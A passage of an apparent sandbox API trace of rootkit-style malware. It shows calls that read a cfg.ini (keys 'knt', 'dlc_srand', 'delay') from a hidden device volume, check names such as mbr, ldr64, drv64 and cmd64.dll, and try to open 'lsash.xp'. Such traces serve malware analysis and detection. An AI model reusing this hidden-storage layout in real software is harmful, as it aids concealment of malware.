Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.289] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.289] IdePortDispatch () returned 0x103 [0129.289] KeWaitForMutexObject () returned 0x0 [0129.289] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.289] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.289] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.289] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.289] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.289] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.289] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.289] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.289] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.289] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.289] KeLeaveCriticalRegion () [0129.289] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.289] ReleaseMutex (hMutex=0x100) returned 1 [0129.289] Sleep (dwMilliseconds=0x2bf20) [0129.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70429bd0, dwHighDateTime=0x1d24fa4)) [0129.296] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.296] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.296] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.296] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.296] KeEnterCriticalRegion () [0129.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.296] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.296] IdePortDispatch () returned 0x103 [0129.296] KeWaitForMutexObject () returned 0x0 [0129.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.297] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.297] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.297] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.297] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.297] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03750 [0129.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.297] KeLeaveCriticalRegion () [0129.297] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.297] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.297] KeEnterCriticalRegion () [0129.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.297] KeLeaveCriticalRegion () [0129.297] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.297] KeEnterCriticalRegion () [0129.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.297] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.297] IdePortDispatch () returned 0x103 [0129.298] KeWaitForMutexObject () returned 0x0 [0129.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.298] KeLeaveCriticalRegion () [0129.298] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.298] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.298] KeEnterCriticalRegion () [0129.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.298] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcd000 [0129.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.298] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.299] IdePortDispatch () returned 0x103 [0129.299] KeWaitForMutexObject () returned 0x0 [0129.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.299] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.299] IdePortDispatch () returned 0x103 [0129.299] KeWaitForMutexObject () returned 0x0 [0129.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.299] KeLeaveCriticalRegion () [0129.299] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.300] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.300] KeEnterCriticalRegion () [0129.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.300] KeLeaveCriticalRegion () [0129.300] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.300] KeEnterCriticalRegion () [0129.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.300] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.300] KeLeaveCriticalRegion () [0129.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.300] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.300] KeEnterCriticalRegion () [0129.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.300] ExFreePoolWithTag (P=0xfffffa8003c03750, Tag=0x0) [0129.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.300] KeLeaveCriticalRegion () [0129.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.300] ReleaseMutex (hMutex=0xf0) returned 1 [0129.300] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.300] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.300] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.300] KeEnterCriticalRegion () [0129.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.301] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.301] IdePortDispatch () returned 0x103 [0129.301] KeWaitForMutexObject () returned 0x0 [0129.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.301] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.301] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.301] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.301] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.301] KeLeaveCriticalRegion () [0129.301] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.301] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.301] KeEnterCriticalRegion () [0129.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.301] KeLeaveCriticalRegion () [0129.301] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.301] KeEnterCriticalRegion () [0129.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.301] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.301] IdePortDispatch () returned 0x103 [0129.301] KeWaitForMutexObject () returned 0x0 [0129.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.302] KeLeaveCriticalRegion () [0129.302] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.302] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.302] KeEnterCriticalRegion () [0129.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.302] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bce000 [0129.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.302] IdePortDispatch () returned 0x103 [0129.302] KeWaitForMutexObject () returned 0x0 [0129.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.302] IdePortDispatch () returned 0x103 [0129.302] KeWaitForMutexObject () returned 0x0 [0129.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.302] KeLeaveCriticalRegion () [0129.302] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.303] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.303] KeEnterCriticalRegion () [0129.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.303] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.303] KeLeaveCriticalRegion () [0129.303] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.303] KeEnterCriticalRegion () [0129.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.303] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.303] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.303] KeLeaveCriticalRegion () [0129.303] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.303] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.303] KeEnterCriticalRegion () [0129.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.303] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.303] KeLeaveCriticalRegion () [0129.303] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.303] ReleaseMutex (hMutex=0xf0) returned 1 [0129.303] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.304] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.304] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.304] KeEnterCriticalRegion () [0129.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.304] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.304] IdePortDispatch () returned 0x103 [0129.304] KeWaitForMutexObject () returned 0x0 [0129.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.304] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.304] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.304] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.304] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.304] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02f10 [0129.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.304] KeLeaveCriticalRegion () [0129.304] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.304] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.304] KeEnterCriticalRegion () [0129.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.304] KeLeaveCriticalRegion () [0129.304] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.304] KeEnterCriticalRegion () [0129.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.304] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.304] IdePortDispatch () returned 0x103 [0129.305] KeWaitForMutexObject () returned 0x0 [0129.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.305] KeLeaveCriticalRegion () [0129.305] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.305] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.305] KeEnterCriticalRegion () [0129.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.305] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcf000 [0129.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.305] IdePortDispatch () returned 0x103 [0129.305] KeWaitForMutexObject () returned 0x0 [0129.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.305] IdePortDispatch () returned 0x103 [0129.305] KeWaitForMutexObject () returned 0x0 [0129.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.306] KeLeaveCriticalRegion () [0129.306] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.306] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.306] KeEnterCriticalRegion () [0129.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.306] KeLeaveCriticalRegion () [0129.306] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.306] KeEnterCriticalRegion () [0129.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.306] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.306] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04cd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.306] KeLeaveCriticalRegion () [0129.306] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.306] KeEnterCriticalRegion () [0129.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.307] ExFreePoolWithTag (P=0xfffffa8003c02f10, Tag=0x0) [0129.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.307] KeLeaveCriticalRegion () [0129.307] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.307] ReleaseMutex (hMutex=0xf0) returned 1 [0129.307] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.307] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.307] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.307] _snprintf (in: 